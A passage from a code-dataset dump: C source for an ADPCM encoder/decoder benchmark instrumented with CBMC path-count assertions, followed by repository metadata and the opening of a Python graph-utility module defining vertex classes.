Upper capacity constraint\nassert(__count_125_126 <= 1); // Upper capacity constraint\nassert(__count_129_131 > 0 ==> __count_132_133 > 0); // Mutual inclusion\nassert(__count_132_133 > 0 ==> __count_129_131 > 0); // Mutual inclusion\nassert(__count_125_124 > 0 ==> __count_125_126 > 0); // Mutual inclusion\nassert(__count_125_126 > 0 ==> __count_125_124 > 0); // Mutual inclusion\nassert(__count_129_131 > 0 ==> __count_133 > 0); // Execution dependence\nassert(__count_132_133 > 0 ==> __count_133 > 0); // Execution dependence\nassert(__count_125_124 > 0 ==> __count_133 > 0); // Execution dependence\nassert(__count_125_126 > 0 ==> __count_133 > 0); // Execution dependence\n#endif\n\n}\n\n\nint \nencode (int xin1,int xin2)\n{\n #ifdef CBMC\n//==========> encode : header 70\nint __count_70_69 = 0;\nint __count_70_69_L = 0; //Loop counter\n//==========> encode : header 67\nint __count_67_66 = 0;\nint __count_67_66_L = 0; //Loop counter\n//==========> encode : header 65\nint __count_92 = 0;\nint __count_81_83 = 0;\nint __count_82_84 = 0;\nint __count_85_86 = 0;\nint __count_85_87 = 0;\n\n #endif\n int i;\n int *h_ptr,*tqmf_ptr,*tqmf_ptr1;\n long int xa,xb;\n int decis;\n\n h_ptr = h;\n tqmf_ptr = tqmf;\n xa = (long)(*tqmf_ptr++) * (*h_ptr++);\n xb = (long)(*tqmf_ptr++) * (*h_ptr++);\n \n #ifdef CBMC\n __count_67_66_L = 0;\n #endif\n for(i = 0 ; i < 10 ; i++) // 67\n {\n #ifdef CBMC\n __count_67_66++;\n __count_67_66_L++;\n #endif\n xa += (long)(*tqmf_ptr++) * (*h_ptr++);\n xb += (long)(*tqmf_ptr++) * (*h_ptr++);\n }\n #ifdef CBMC\n assert(__count_67_66_L <= 11); // Loop counter property\n #endif\n \n xa += (long)(*tqmf_ptr++) * (*h_ptr++);\n xb += (long)(*tqmf_ptr) * (*h_ptr++);\n tqmf_ptr1 = tqmf_ptr - 2;\n \n #ifdef CBMC\n __count_70_69_L = 0;\n #endif\n for(i = 0 ; i < 22 ; i++) // 70\n {\n #ifdef CBMC\n __count_70_69++;\n __count_70_69_L++;\n #endif\n *tqmf_ptr-- = *tqmf_ptr1--;\n }\n #ifdef CBMC\n assert(__count_70_69_L <= 23); // Loop counter property\n #endif\n \n *tqmf_ptr-- = xin1;\n *tqmf_ptr = xin2;\n xl = (xa + xb) >> 15;\n xh = (xa - xb) >> 15;\n szl = filtez(delay_bpl,delay_dltx);\n spl = filtep(rlt1,al1,rlt2,al2);\n sl = szl + spl;\n el = xl - sl;\n il = quantl(el,detl);\n dlt = ((long)detl*qq4_code4_table[il >> 2]) >> 15;\n nbl = logscl(il,nbl);\n detl = scalel(nbl,8);\n plt = dlt + szl;\n upzero(dlt,delay_dltx,delay_bpl);\n \n al2 = uppol2(al1,al2,plt,plt1,plt2);\n al1 = uppol1(al1,al2,plt,plt1);\n rlt = sl + dlt;\n rlt2 = rlt1;\n rlt1 = rlt;\n plt2 = plt1;\n plt1 = plt;\n \n szh = filtez(delay_bph,delay_dhx);\n sph = filtep(rh1,ah1,rh2,ah2);\n sh = sph + szh;\n eh = xh - sh;\n\n if(eh >= 0) // 81\n {\n // 82\n ih = 3;\n #ifdef CBMC\n __count_82_84++;\n #endif\n }\n else\n {\n #ifdef CBMC\n __count_81_83++;\n #endif\n // 83\n ih = 1;\n }\n \n decis = (564L*(long)deth) >> 12L;\n \n if(my_abs(eh) > decis) // 85\n { \n #ifdef CBMC\n __count_85_86++;\n #endif\n // 86\n ih--;\n }\n #ifdef CBMC\n else __count_85_87++;\n #endif\n \n dh = ((long)deth*qq2_code2_table[ih]) >> 15L ;\n nbh = logsch(ih,nbh);\n deth = scalel(nbh,10);\n\n ph = dh + szh;\n\n upzero(dh,delay_dhx,delay_bph);\n \n ah2 = uppol2(ah1,ah2,ph,ph1,ph2);\n ah1 = uppol1(ah1,ah2,ph,ph1);\n yh = sh + dh;\n rh2 = rh1;\n rh1 = yh;\n ph2 = ph1;\n ph1 = ph;\n\n#ifdef CBMC\n__count_92++;\n#endif\n\n#ifdef CBMC\nassert(__count_67_66 >= 10); // Lower capacity constraint\nassert(__count_67_66 <= 10); // Upper capacity constraint\nassert(__count_70_69 >= 22); // Lower capacity constraint\nassert(__count_70_69 <= 22); // Upper capacity constraint\nassert(__count_81_83 <= 1); // Upper capacity constraint\nassert(__count_82_84 <= 1); // Upper capacity constraint\nassert(__count_85_86 <= 1); // Upper capacity constraint\nassert(__count_85_87 <= 1); // Upper capacity constraint\nassert(__count_92 >= 1); // Lower capacity constraint\nassert(__count_92 <= 1); // Upper capacity constraint\n//assert(__count_81_83 > 0 ==> __count_85_87 == 0); // Mutual exclusion\n//assert(__count_85_87 > 0 ==> __count_81_83 == 0); // Mutual exclusion\nassert(__count_81_83 > 0 ==> __count_67_66 > 0); // Execution dependence\nassert(__count_81_83 > 0 ==> __count_70_69 > 0); // Execution dependence\n//assert(__count_81_83 > 0 ==> __count_85_86 > 0); // Execution dependence\nassert(__count_81_83 > 0 ==> __count_92 > 0); // Execution dependence\nassert(__count_82_84 > 0 ==> __count_67_66 > 0); // Execution dependence\nassert(__count_82_84 > 0 ==> __count_70_69 > 0); // Execution dependence\nassert(__count_82_84 > 0 ==> __count_92 > 0); // Execution dependence\nassert(__count_85_86 > 0 ==> __count_67_66 > 0); // Execution dependence\nassert(__count_85_86 > 0 ==> __count_70_69 > 0); // Execution dependence\nassert(__count_85_86 > 0 ==> __count_92 > 0); // Execution dependence\nassert(__count_85_87 > 0 ==> __count_67_66 > 0); // Execution dependence\nassert(__count_85_87 > 0 ==> __count_70_69 > 0); // Execution dependence\n//assert(__count_85_87 > 0 ==> __count_82_84 > 0); // Execution dependence\nassert(__count_85_87 > 0 ==> __count_92 > 0); // Execution dependence\n#endif\n\n return il | (ih << 6);\n}\n\nvoid \ndecode (int input)\n{\n #ifdef CBMC\n//==========> decode : header 61\nint __count_61_60 = 0;\nint __count_61_60_L = 0; //Loop counter\n//==========> decode : header 58\nint __count_58_57 = 0;\nint __count_58_57_L = 0; //Loop counter\n//==========> decode : header 42\nint __count_62 = 0;\nint __count_58_59 = 0;\n\n #endif\n int i;\n long int xa1,xa2; \n int *h_ptr,*ac_ptr,*ac_ptr1,*ad_ptr,*ad_ptr1;\n\n ilr = input & 0x3f;\n ih = input >> 6;\n dec_szl = filtez(dec_del_bpl,dec_del_dltx);\n dec_spl = filtep(dec_rlt1,dec_al1,dec_rlt2,dec_al2);\n dec_sl = dec_spl + dec_szl;\n dec_dlt = ((long)dec_detl*qq4_code4_table[ilr >> 2]) >> 15;\n dl = ((long)dec_detl*qq6_code6_table[il]) >> 15;\n rl = dl + dec_sl;\n dec_nbl = logscl(ilr,dec_nbl);\n dec_detl = scalel(dec_nbl,8);\n dec_plt = dec_dlt + dec_szl;\n upzero(dec_dlt,dec_del_dltx,dec_del_bpl);\n dec_al2 = uppol2(dec_al1,dec_al2,dec_plt,dec_plt1,dec_plt2);\n dec_al1 = uppol1(dec_al1,dec_al2,dec_plt,dec_plt1);\n dec_rlt = dec_sl + dec_dlt;\n dec_rlt2 = dec_rlt1;\n dec_rlt1 = dec_rlt;\n dec_plt2 = dec_plt1;\n dec_plt1 = dec_plt;\n dec_szh = filtez(dec_del_bph,dec_del_dhx);\n dec_sph = filtep(dec_rh1,dec_ah1,dec_rh2,dec_ah2);\n dec_sh = dec_sph + dec_szh;\n dec_dh = ((long)dec_deth*qq2_code2_table[ih]) >> 15L ;\n dec_nbh = logsch(ih,dec_nbh);\n dec_deth = scalel(dec_nbh,10);\n dec_ph = dec_dh + dec_szh;\n upzero(dec_dh,dec_del_dhx,dec_del_bph);\n dec_ah2 = uppol2(dec_ah1,dec_ah2,dec_ph,dec_ph1,dec_ph2);\n dec_ah1 = uppol1(dec_ah1,dec_ah2,dec_ph,dec_ph1);\n rh = dec_sh + dec_dh;\n dec_rh2 = dec_rh1;\n dec_rh1 = rh;\n dec_ph2 = dec_ph1;\n dec_ph1 = dec_ph;\n xd = rl - rh;\n xs = rl + rh;\n\n h_ptr = h;\n ac_ptr = accumc;\n ad_ptr = accumd;\n xa1 = (long)xd * (*h_ptr++);\n xa2 = (long)xs * (*h_ptr++);\n\n #ifdef CBMC\n __count_58_57_L = 0;\n #endif\n for(i = 0 ; i < 10 ; i++) // 58\n {\n #ifdef CBMC\n __count_58_57++;\n __count_58_57_L++;\n #endif\n xa1 += (long)(*ac_ptr++) * (*h_ptr++);\n xa2 += (long)(*ad_ptr++) * (*h_ptr++);\n }\n #ifdef CBMC\n assert(__count_58_57_L <= 11); // Loop counter property\n __count_58_59++;\n #endif\n\n xa1 += (long)(*ac_ptr) * (*h_ptr++);\n xa2 += (long)(*ad_ptr) * (*h_ptr++);\n\n xout1 = xa1 >> 14;\n xout2 = xa2 >> 14;\n\n ac_ptr1 = ac_ptr - 1;\n ad_ptr1 = ad_ptr - 1;\n \n #ifdef CBMC\n __count_61_60_L = 0;\n #endif\n for(i = 0 ; i < 10 ; i++) // 61\n {\n #ifdef CBMC\n __count_61_60++;\n __count_61_60_L++;\n #endif\n *ac_ptr-- = *ac_ptr1--;\n *ad_ptr-- = *ad_ptr1--;\n }\n #ifdef CBMC\n assert(__count_61_60_L <= 11); // Loop counter property\n #endif\n \n *ac_ptr = xd;\n *ad_ptr = xs;\n\n #ifdef CBMC\n __count_62++;\n #endif\n\n#ifdef CBMC\nassert(__count_58_57 >= 10); // Lower capacity constraint\nassert(__count_58_57 <= 10); // Upper capacity constraint\nassert(__count_58_59 >= 1); // Lower capacity constraint\nassert(__count_58_59 <= 1); // Upper capacity constraint\nassert(__count_61_60 >= 10); // Lower capacity constraint\nassert(__count_61_60 <= 10); // Upper capacity constraint\nassert(__count_62 >= 1); // Lower capacity constraint\nassert(__count_62 <= 1); // Upper capacity constraint\n#endif\n\n}\n\nvoid \nreset ()\n{\n #ifdef CBMC\n//==========> reset : header 12\nint __count_12_11 = 0;\nint __count_12_11_L = 0; //Loop counter\n//==========> reset : header 9\nint __count_9_8 = 0;\nint __count_9_8_L = 0; //Loop counter\n//==========> reset : header 6\nint __count_6_5 = 0;\nint __count_6_5_L = 0; //Loop counter\n//==========> reset : header 3\nint __count_3_2 = 0;\nint __count_3_2_L = 0; //Loop counter\n//==========> reset : header 1\nint __count_13 = 0;\nint __count_3_4 = 0;\n\n #endif\n\n int i;\n\n detl = dec_detl = 32; \n deth = dec_deth = 8;\n nbl = al1 = al2 = plt1 = plt2 = rlt1 = rlt2 = 0;\n nbh = ah1 = ah2 = ph1 = ph2 = rh1 = rh2 = 0;\n dec_nbl = dec_al1 = dec_al2 = dec_plt1 = dec_plt2 = dec_rlt1 = dec_rlt2 = 0;\n dec_nbh = dec_ah1 = dec_ah2 = dec_ph1 = dec_ph2 = dec_rh1 = dec_rh2 = 0;\n\n #ifdef CBMC\n __count_3_2_L = 0;\n #endif\n for(i = 0; i < 6; i++) // 3\n {\n #ifdef CBMC\n __count_3_2++;\n __count_3_2_L++;\n #endif\n delay_dltx[i] = 0;\n delay_dhx[i] = 0;\n dec_del_dltx[i] = 0;\n dec_del_dhx[i] = 0;\n }\n #ifdef CBMC\n assert(__count_3_2_L <= 7); // Loop counter property\n __count_3_4++;\n #endif\n\n #ifdef CBMC\n __count_6_5_L = 0;\n #endif\n for(i = 0; i < 6 ; i++) // 6\n {\n #ifdef CBMC\n __count_6_5++;\n __count_6_5_L++;\n #endif\n delay_bpl[i] = 0;\n delay_bph[i] = 0;\n dec_del_bpl[i] = 0;\n dec_del_bph[i] = 0;\n }\n #ifdef CBMC\n assert(__count_6_5_L <= 7); // Loop counter property\n #endif\n\n #ifdef CBMC\n __count_9_8_L = 0;\n #endif\n for(i = 0; i < 23 ; i++) // 9\n {\n #ifdef CBMC\n __count_9_8++;\n __count_9_8_L++;\n #endif\n tqmf[i] = 0;\n }\n #ifdef CBMC\n assert(__count_9_8_L <= 24); // Loop counter property\n #endif\n \n #ifdef CBMC\n __count_12_11_L = 0;\n #endif\n for(i = 0; i < 11 ; i++) // 12\n {\n #ifdef CBMC\n __count_12_11_L++;\n __count_12_11++;\n #endif\n accumc[i] = 0;\n accumd[i] = 0;\n }\n #ifdef CBMC\n assert(__count_12_11_L <= 12); // Loop counter property\n __count_13++;\n #endif\n\n#ifdef CBMC\nassert(__count_13 >= 1); // Lower capacity constraint\nassert(__count_13 <= 1); // Upper capacity constraint\nassert(__count_3_2 >= 6); // Lower capacity constraint\nassert(__count_3_2 <= 6); // Upper capacity constraint\nassert(__count_3_4 >= 1); // Lower capacity constraint\nassert(__count_3_4 <= 1); // Upper capacity constraint\nassert(__count_6_5 >= 6); // Lower capacity constraint\nassert(__count_6_5 <= 6); // Upper capacity constraint\nassert(__count_9_8 >= 23); // Lower capacity constraint\nassert(__count_9_8 <= 23); // Upper capacity constraint\nassert(__count_12_11 >= 11); // Lower capacity constraint\nassert(__count_12_11 <= 11); // Upper capacity constraint\n#endif\n\n}\n\nint \nfiltez (int *bpl,int *dlt)\n{\n #ifdef CBMC\n//==========> filtez : header 31\nint __count_31_30 = 0;\nint __count_31_30_L = 0; //Loop counter\n//==========> filtez : header 29\nint __count_32 = 0;\nint __count_31_32 = 0;\n\n #endif\n int i;\n long int zl;\n zl = (long)(*bpl++) * (*dlt++);\n #ifdef CBMC\n __count_31_30_L = 0;\n #endif\n for(i = 1 ; i < 6 ; i++) // 31\n {\n #ifdef CBMC\n __count_31_30++;\n __count_31_30_L++;\n #endif\n zl += (long)(*bpl++) * (*dlt++);\n }\n #ifdef CBMC\n assert(__count_31_30_L <= 6); // Loop counter property\n __count_31_32++;\n #endif\n\n #ifdef CBMC\n __count_32++;\n #endif\n\n#ifdef CBMC\nassert(__count_32 >= 1); // Lower capacity constraint\nassert(__count_32 <= 1); // Upper capacity constraint\nassert(__count_31_32 >= 1); // Lower capacity constraint\nassert(__count_31_32 <= 1); // Upper capacity constraint\nassert(__count_31_30 >= 5); // Lower capacity constraint\nassert(__count_31_30 <= 5); // Upper capacity constraint\n#endif\n\n return (int)(zl >> 14);\n}\n\nint \nfiltep (int rlt1,int al1,int rlt2,int al2)\n{\n#ifdef CBMC\n//==========> filtep : header 64\nint __count_64 = 0;\n#endif\n long int pl,pl2;\n pl = 2*rlt1;\n pl = (long)al1*pl;\n pl2 = 2*rlt2;\n pl += (long)al2*pl2;\n #ifdef CBMC\n __count_64++;\n #endif\n\n#ifdef CBMC\nassert(__count_64 >= 1); // Lower capacity constraint\nassert(__count_64 <= 1); // Upper capacity constraint\n#endif\n\n return (int)(pl >> 15);\n}\n\nint \nquantl (int el,int detl)\n{\n #ifdef CBMC\n//==========> quantl : header 107\nint __count_107_105 = 0;\nint __count_107_105_L = 0; //Loop counter\n//==========> quantl : header 103\nint __count_113 = 0;\nint __count_105_109 = 0;\nint __count_107_108 = 0;\nint __count_110_111 = 0;\nint __count_110_112 = 0;\n\n\n // TODO: check\n int did_break = 0;\n #endif\n int ril,mil;\n long int wd,decis;\n wd = my_abs(el);\n #ifdef CBMC\n __count_107_105_L = 0;\n #endif\n for(mil = 0 ; mil < 30 ; mil++) // 107\n {\n #ifdef CBMC\n __count_107_105_L++;\n __count_107_105++;\n #endif\n decis = (decis_levl[mil]*(long)detl) >> 15L;\n if(wd <= decis) // 105\n { \n #ifdef CBMC\n __count_105_109++;\n did_break = 1;\n #endif\n // 109\n break;\n }\n }\n #ifdef CBMC\n assert(__count_107_105_L <= 31); // Loop counter property\n #endif\n\n #ifdef CBMC\n // exit without break\n if(!did_break) {\n __count_107_108++;\n }\n #endif\n\n if (el >= 0) // 110\n {\n #ifdef CBMC\n __count_110_111++;\n #endif\n // 111\n ril = quant26bt_pos[mil];\n }\n else\n { \n #ifdef CBMC\n __count_110_112++;\n #endif\n // 112\n ril = quant26bt_neg[mil];\n }\n\n#ifdef CBMC\n__count_113++;\n#endif\n\n#ifdef CBMC\nassert(__count_105_109 <= 1); // Upper capacity constraint\nassert(__count_107_105 >= 1); // Lower capacity constraint\nassert(__count_107_105 <= 30); // Upper capacity constraint\nassert(__count_107_108 <= 1); // Upper capacity constraint\nassert(__count_110_112 <= 1); // Upper capacity constraint\nassert(__count_110_111 <= 1); // Upper capacity constraint\nassert(__count_113 >= 1); // Lower capacity constraint\nassert(__count_113 <= 1); // Upper capacity constraint\n//assert(__count_105_109 > 0 ==> __count_110_112 == 0); // Mutual exclusion\n//assert(__count_110_112 > 0 ==> __count_105_109 == 0); // Mutual exclusion\nassert(__count_105_109 > 0 ==> __count_107_105 > 0); // Execution dependence\n//assert(__count_105_109 > 0 ==> __count_110_111 > 0); // Execution dependence\nassert(__count_105_109 > 0 ==> __count_113 > 0); // Execution dependence\nassert(__count_107_108 > 0 ==> __count_107_105 > 0); // Execution dependence\nassert(__count_107_108 > 0 ==> __count_113 > 0); // Execution dependence\nassert(__count_110_112 > 0 ==> __count_107_105 > 0); // Execution dependence\n//assert(__count_110_112 > 0 ==> __count_107_108 > 0); // Execution dependence\nassert(__count_110_112 > 0 ==> __count_113 > 0); // Execution dependence\nassert(__count_110_111 > 0 ==> __count_107_105 > 0); // Execution dependence\nassert(__count_110_111 > 0 ==> __count_113 > 0); // Execution dependence\n#endif\n\n return ril;\n}\n\nint \nlogscl (int il,int nbl)\n{\n #ifdef CBMC\n//==========> logscl : header 14\nint __count_18 = 0;\nint __count_14_15 = 0;\nint __count_14_16 = 0;\nint __count_16_17 = 0;\nint __count_16_18 = 0;\n #endif\n\n long int wd; \n wd = ((long)nbl * 127L) >> 7L; \n nbl = (int)wd + wl_code_table[il >> 2];\n if(nbl < 0) // 14\n {\n #ifdef CBMC\n __count_14_15++;\n #endif\n // 15\n nbl = 0;\n }\n #ifdef CBMC\n else __count_14_16++;\n #endif\n \n if (nbl > 18432) // 16\n {\n #ifdef CBMC\n __count_16_17++;\n #endif\n // 17\n nbl = 18432;\n }\n #ifdef CBMC\n else __count_16_18++;\n #endif\n \n #ifdef CBMC\n __count_18++;\n #endif\n\n#ifdef CBMC\nassert(__count_16_17 == 0); // Dead code\nassert(__count_18 >= 1); // Lower capacity constraint\nassert(__count_18 <= 1); // Upper capacity constraint\nassert(__count_16_18 >= 1); // Lower capacity constraint\nassert(__count_16_18 <= 1); // Upper capacity constraint\nassert(__count_14_16 <= 1); // Upper capacity constraint\nassert(__count_14_15 <= 1); // Upper capacity constraint\nassert(__count_14_16 > 0 ==> __count_16_18 > 0); // Execution dependence\nassert(__count_14_16 > 0 ==> __count_18 > 0); // Execution dependence\nassert(__count_14_15 > 0 ==> __count_16_18 > 0); // Execution dependence\nassert(__count_14_15 > 0 ==> __count_18 > 0); // Execution dependence\n#endif\n\n return nbl;\n}\n\nint \nscalel (int nbl,int shift_constant)\n{\n#ifdef CBMC\n//==========> scalel : header 63\nint __count_63 = 0;\n#endif\n int wd1,wd2,wd3;\n wd1 = (nbl >> 6) & 31;\n wd2 = nbl >> 11;\n wd3 = ilb_table[wd1] >> (shift_constant + 1 - wd2);\n #ifdef CBMC\n __count_63++;\n #endif\n\n#ifdef CBMC\nassert(__count_63 >= 1); // Lower capacity constraint\nassert(__count_63 <= 1); // Upper capacity constraint\n#endif\n\n return wd3 << 3;\n}\n\nint \nuppol2 (int al1,int al2,int plt,int plt1,int plt2)\n{\n #ifdef CBMC\n//==========> uppol2 : header 93\nint __count_102 = 0;\nint __count_93_94 = 0;\nint __count_93_95 = 0;\nint __count_96_98 = 0;\nint __count_97_98 = 0;\nint __count_98_99 = 0;\nint __count_98_100 = 0;\nint __count_100_102 = 0;\nint __count_101_102 = 0;\n #endif\n\n long int wd2,wd4;\n int apl2;\n wd2 = 4L*(long)al1;\n if ((long)plt*plt1 >= 0L) // 93\n {\n #ifdef CBMC\n __count_93_94++;\n #endif\n wd2 = -wd2;\n } \n #ifdef CBMC\n else __count_93_95++;\n #endif\n\n wd2 = wd2 >> 7; \n if((long)plt*plt2 >= 0L) // 95\n {\n // 96\n wd4 = wd2 + 128; \n #ifdef CBMC\n __count_96_98++;\n #endif\n }\n else \n {\n // 97\n wd4 = wd2 - 128;\n #ifdef CBMC\n __count_97_98++;\n #endif\n }\n apl2 = wd4 + (127L*(long)al2 >> 7L);\n\n if (apl2 > 12288) // 98\n {\n #ifdef CBMC\n __count_98_99++;\n #endif\n apl2 = 12288;\n }\n #ifdef CBMC\n else __count_98_100++;\n #endif\n\n if (apl2 < -12288) // 100\n {\n apl2 = -12288;\n #ifdef CBMC\n __count_101_102++;\n #endif\n }\n #ifdef CBMC\n else __count_100_102++;\n #endif\n\n#ifdef CBMC\n__count_102++;\n#endif\n\n#ifdef CBMC\nassert(__count_96_98 >= 1); // Lower capacity constraint\nassert(__count_96_98 <= 1); // Upper capacity constraint\nassert(__count_97_98 == 0); // Dead code\nassert(__count_98_99 == 0); // Dead code\nassert(__count_98_100 >= 1); // Lower capacity constraint\nassert(__count_98_100 <= 1); // Upper capacity constraint\nassert(__count_102 >= 1); // Lower capacity constraint\nassert(__count_102 <= 1); // Upper capacity constraint\nassert(__count_100_102 >= 1); // Lower capacity constraint\nassert(__count_100_102 <= 1); // Upper capacity constraint\nassert(__count_101_102 == 0); // Dead code\nassert(__count_93_94 >= 1); // Lower capacity constraint\nassert(__count_93_94 <= 1); // Upper capacity constraint\nassert(__count_93_95 == 0); // Dead code\n#endif\n\n return apl2;\n}\n\nint \nuppol1 (int al1,int apl2,int plt,int plt1)\n{\n #ifdef CBMC\n//==========> uppol1 : header 114\nint __count_121 = 0;\nint __count_115_117 = 0;\nint __count_116_117 = 0;\nint __count_117_118 = 0;\nint __count_117_119 = 0;\nint __count_119_120 = 0;\nint __count_119_121 = 0;\n\n #endif\n\n long int wd2;\n int wd3,apl1;\n \n wd2 = ((long)al1*255L) >> 8L; \n if((long)plt*plt1 >= 0L) // 114\n {\n // 115\n apl1 = (int)wd2 + 192; \n #ifdef CBMC\n __count_115_117++;\n #endif\n }\n else \n {\n // 116\n apl1 = (int)wd2 - 192;\n #ifdef CBMC\n __count_116_117++;\n #endif\n }\n \n wd3 = 15360 - apl2; \n if(apl1 > wd3) // 117\n {\n #ifdef CBMC\n __count_117_118++;\n #endif\n apl1 = wd3;\n }\n #ifdef CBMC\n else __count_117_119++;\n #endif\n\n if(apl1 < -wd3) // 119\n { \n #ifdef CBMC\n __count_119_120++;\n #endif\n apl1 = -wd3;\n }\n #ifdef CBMC\n else __count_119_121++;\n #endif\n\n#ifdef CBMC\n__count_121++;\n#endif\n\n#ifdef CBMC\nassert(__count_115_117 >= 1); // Lower capacity constraint\nassert(__count_115_117 <= 1); // Upper capacity constraint\nassert(__count_116_117 == 0); // Dead code\nassert(__count_117_118 == 0); // Dead code\nassert(__count_117_119 >= 1); // Lower capacity constraint\nassert(__count_117_119 <= 1); // Upper capacity constraint\nassert(__count_119_120 == 0); // Dead code\nassert(__count_119_121 >= 1); // Lower capacity constraint\nassert(__count_119_121 <= 1); // Upper capacity constraint\nassert(__count_121 >= 1); // Lower capacity constraint\nassert(__count_121 <= 1); // Upper capacity constraint\n#endif\n\n return apl1;\n}\n\nint \nlogsch (int ih,int nbh)\n{\n #ifdef CBMC\n//==========> logsch : header 33\nint __count_37 = 0;\nint __count_33_34 = 0;\nint __count_33_35 = 0;\nint __count_35_36 = 0;\nint __count_35_37 = 0;\n\n #endif\n\n int wd;\n wd = ((long)nbh * 127L) >> 7L; \n nbh = wd + wh_code_table[ih];\n \n if (nbh < 0) // 33\n {\n // 34\n nbh = 0;\n #ifdef CBMC\n __count_33_34++;\n #endif\n }\n #ifdef CBMC\n else __count_33_35++;\n #endif\n if (nbh > 22528) // 35\n {\n // 36\n nbh = 22528;\n #ifdef CBMC\n __count_35_36++;\n #endif\n } \n #ifdef CBMC\n else __count_35_37++;\n #endif\n \n #ifdef CBMC\n __count_37++;\n #endif\n\n#ifdef CBMC\nassert(__count_33_34 <= 1); // Upper capacity constraint\nassert(__count_33_35 <= 1); // Upper capacity constraint\nassert(__count_35_36 == 0); // Dead code\nassert(__count_37 >= 1); // Lower capacity constraint\nassert(__count_37 <= 1); // Upper capacity constraint\nassert(__count_35_37 >= 1); // Lower capacity constraint\nassert(__count_35_37 <= 1); // Upper capacity constraint\nassert(__count_33_34 > 0 ==> __count_35_37 > 0); // Execution dependence\nassert(__count_33_34 > 0 ==> __count_37 > 0); // Execution dependence\nassert(__count_33_35 > 0 ==> __count_35_37 > 0); // Execution dependence\nassert(__count_33_35 > 0 ==> __count_37 > 0); // Execution dependence\n#endif\n\n return nbh;\n}\n\nvoid\nadpcm (int test_data[])\n{\n #ifdef CBMC\n//==========> adpcm : header 27\nint __count_27_25 = 0;\nint __count_27_25_L = 0; //Loop counter\n//==========> adpcm : header 23\nint __count_21_22 = 0;\nint __count_23_21 = 0; //Loop counter\n//==========> adpcm : header 19\nint __count_28 = 0;\nint __count_23_24 = 0;\n\n #endif\n int compressed[2];\n int result[4];\n\n reset();\n \n int i;\n #ifdef CBMC\n __count_23_21 = 0;\n #endif\n for(i = 0 ; i < TEST_VECTOR_LENGTH; i += 2) // 23\n {\n #ifdef CBMC\n __count_23_21++;\n __count_21_22++;\n #endif\n compressed[i/2] = encode(test_data[i],test_data[i+1]);\n }\n #ifdef CBMC\n assert(__count_23_21 <= 3); // Loop counter property\n __count_23_24++;\n #endif\n \n #ifdef CBMC\n __count_27_25_L = 0;\n #endif\n for(i = 0 ; i < TEST_VECTOR_LENGTH; i += 2) // 27\n {\n #ifdef CBMC\n __count_27_25++;\n __count_27_25_L++;\n #endif\n decode(compressed[i/2]);\n result[i] = xout1;\n result[i+1] = xout2;\n }\n #ifdef CBMC\n assert(__count_27_25_L <= 3); // Loop counter property\n #endif\n \n #ifdef CBMC\n __count_28++;\n #endif\n\n#ifdef CBMC\nassert(__count_27_25 >= 2); // Lower capacity constraint\nassert(__count_27_25 <= 2); // Upper capacity constraint\nassert(__count_21_22 >= 2); // Lower capacity constraint\nassert(__count_21_22 <= 2); // Upper capacity constraint\nassert(__count_28 >= 1); // Lower capacity constraint\nassert(__count_28 <= 1); // Upper capacity constraint\nassert(__count_23_24 >= 1); // Lower capacity constraint\nassert(__count_23_24 <= 1); // Upper capacity constraint\n#endif\n\n}\n\nint\nmain (int argc, char *argv[])\n{\n /*\n * At least as many integers as the test vector length\n */\n if (argc != TEST_VECTOR_LENGTH + 1)\n {\n return 1;\n }\n \n int test_data[4];\n \n int i;\n for (i = 0 ; i < TEST_VECTOR_LENGTH; i++) \n {\n test_data[i] = my_cos(atoi(argv[i + 1])*PI*i); \n }\n\n adpcm(test_data);\n\n return 0;\n}\n\n\n" }, { "alpha_fraction": 0.5483129620552063, "alphanum_fraction": 0.5495527982711792, "avg_line_length": 33.904788970947266, "blob_id": "eca7d501682e34e47cd68836e432c6ce465310ef", "content_id": "d09e6248d4d4e5cbdc001ec7406e475ee6c843d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 60491, "license_type": "no_license", "max_line_length": 120, "num_lines": 1733, "path": "/tools/graphs/graph.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import enum\nimport re\nimport random\n\nfrom low_level import instructions\nfrom utils import messages\nfrom utils import dot\n\n\nclass VertexPool:\n \"\"\"Manage allocation and deallocation of vertices.\"\"\"\n\n CUTOFF = 0\n\n def __init__(self):\n self._max = VertexPool.CUTOFF\n self._min = VertexPool.CUTOFF\n self._allocation = {}\n\n def negative(self):\n self._min -= 1\n return self._min\n\n def positive(self):\n self._max += 1\n return self._max\n\n def register(self, v):\n if not isinstance(v.id_, int):\n raise TypeError('Vertex ID {} is not an integer'.format(v.id_))\n if v.id_ in self._allocation:\n raise ValueError('Vertex ID {} already taken'.format(v.id_))\n if v.id_ > VertexPool.CUTOFF:\n self._max = max(self._max, v.id_)\n elif v.id_ < VertexPool.CUTOFF:\n self._min = min(self._min, v.id_)\n self._allocation[v.id_] = v\n\n def deregister(self, v):\n del self._allocation[v.id_]\n\n def __getitem__(self, id_):\n return self._allocation[id_]\n\n\nclass Vertex:\n \"\"\"Base vertex class\"\"\"\n\n # Used to generate IDs of vertices and keep track of allocation.\n id_pool = VertexPool()\n\n @classmethod\n def get_vertex_id(cls, dummy=False):\n if dummy:\n return Vertex.id_pool.negative()\n else:\n return Vertex.id_pool.positive()\n\n def __init__(self, id_: int):\n try:\n self.id_ = id_\n self.id_pool.register(self)\n except ValueError as e:\n messages.error_message(e)\n\n def __eq__(self, other):\n if type(other) is type(self):\n return self.__dict__ == other.__dict__\n return NotImplemented\n\n def __ne__(self, other):\n return not self == other\n\n def __hash__(self):\n # Two vertices with the same ID are considered equivalent.\n return self.id_\n\n def __str__(self):\n return str(self.id_)\n\n def set_id(self, id_):\n self.id_ = id_\n\n def __lt__(self, other):\n return self.id_ < other.id_\n\n def __del__(self):\n self.id_pool.deregister(self)\n\n def is_dummy(self):\n return self.id_ < 0\n\n def dotify(self):\n label = []\n label.append(dot.HTML.open_html)\n label.append(dot.HTML.open_table)\n\n label.append(dot.HTML.open_row)\n label.append(dot.HTML.open_cell())\n label.append(str(self))\n label.append(dot.HTML.close_cell)\n label.append(dot.HTML.close_row)\n\n label.append(dot.HTML.close_table)\n label.append(dot.HTML.close_html)\n\n return '{} [label={}, shape=record];\\n'.format(self, ''.join(label))\n\n\nclass NamedVertex(Vertex):\n \"\"\"Models a vertex that carries a name, usually identifying a subprogram\"\"\"\n\n def __init__(self, id_, name):\n if not re.match(r'\\w+', name):\n raise ValueError('Vertex name must not be empty and must only contain characters in the set [a-zA-Z0-9_]')\n Vertex.__init__(self, id_)\n self.__name = name\n\n @property\n def name(self):\n return self.__name\n\n\nclass SubprogramVertex(NamedVertex):\n \"\"\"Models subprograms 